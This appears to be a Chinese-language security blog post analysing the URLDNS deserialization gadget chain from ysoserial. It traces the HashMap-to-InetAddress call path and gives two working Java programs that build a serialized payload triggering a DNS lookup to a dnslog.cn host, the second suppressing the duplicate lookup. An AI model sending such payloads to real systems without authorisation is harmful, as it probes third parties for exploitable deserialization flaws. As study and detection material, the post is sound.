0%

java_URLDNSLOG链

java_URLDNSLOG链

URLDNSysoserial中的一条利用链,通常用于检测是否存在Java反序列化漏洞,该利用链具有如下特点

1
2
3
URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用
不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞

调用栈

1
2
3
HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() 
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName//这个相当于进行了一次dns请求

分析调用链

img

着重关注for循环,大概是将key和value重新赋值到HashMap上

1
putVal(hash(key), key, value, false, false);

调用了hash()方法,跟进

img

调用了key的hashCode()方法,而这个key我们肯定是可控的,根据调用栈,继续调用URL类的hashCode方法

img

其中this代表调用这个方法的对象的本身,也就是URL的对象,并且我们可以在URL类的构造方法发现这段代码

img

说明这个handler是我们可控的,继续调用URLStreamHandler的hashCode()方法

img

继续跟进getHostAddress()方法

img

而InetAddress.getByName(host)方法相当于就是进行了一次dns请求

尝试编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package main.java.urldns;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;


public class dnslog {
public static void main(String[] args) throws Exception {

HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://q6e394.dnslog.cn/");

Field f = URL.class.getDeclaredField("hashCode");
f.setAccessible(true);

f.set(url, -1);

hashMap.put(url, "ycxlo");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = ois.readObject();
}

}

运行后发现接收到信息

img

根据其他师傅的exp进行修改

看了其他师傅的一些文章,发现还可以对exp进行一些修改,目的是为了只进行一次dns请求

由于在exp运行过程中,还会调用HashMap的put方法,而put方法同样也有hash(key),所以会进行两次dns请求

img

修改后的exp是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package main.java.urldns;


import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;


public class test {
public static void main(String[] args) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap hashMap = new HashMap();
URL url = new URL(null,"http://o9viut.dnslog.cn/",handler);

Field f = URL.class.getDeclaredField("hashCode");
f.setAccessible(true);

hashMap.put(url, "ycxlo");

f.set(url, -1);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = ois.readObject();
}

static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

img

可以发现明显请求次数变少了

原因大致是这样的:我们定义的SilentURLStreamHandler类继承了URLStreamHandler类,并重写了getHostAddress方法,所以当HashMap的put方法调用getHostAddress方法时,只会返回null,而handler对象又是由transient修饰的,默认不会被序列化,也就是说当该字段被序列化时,这个字段并不会被保存,所以序列化的时候依旧是调用URLStreamHandler类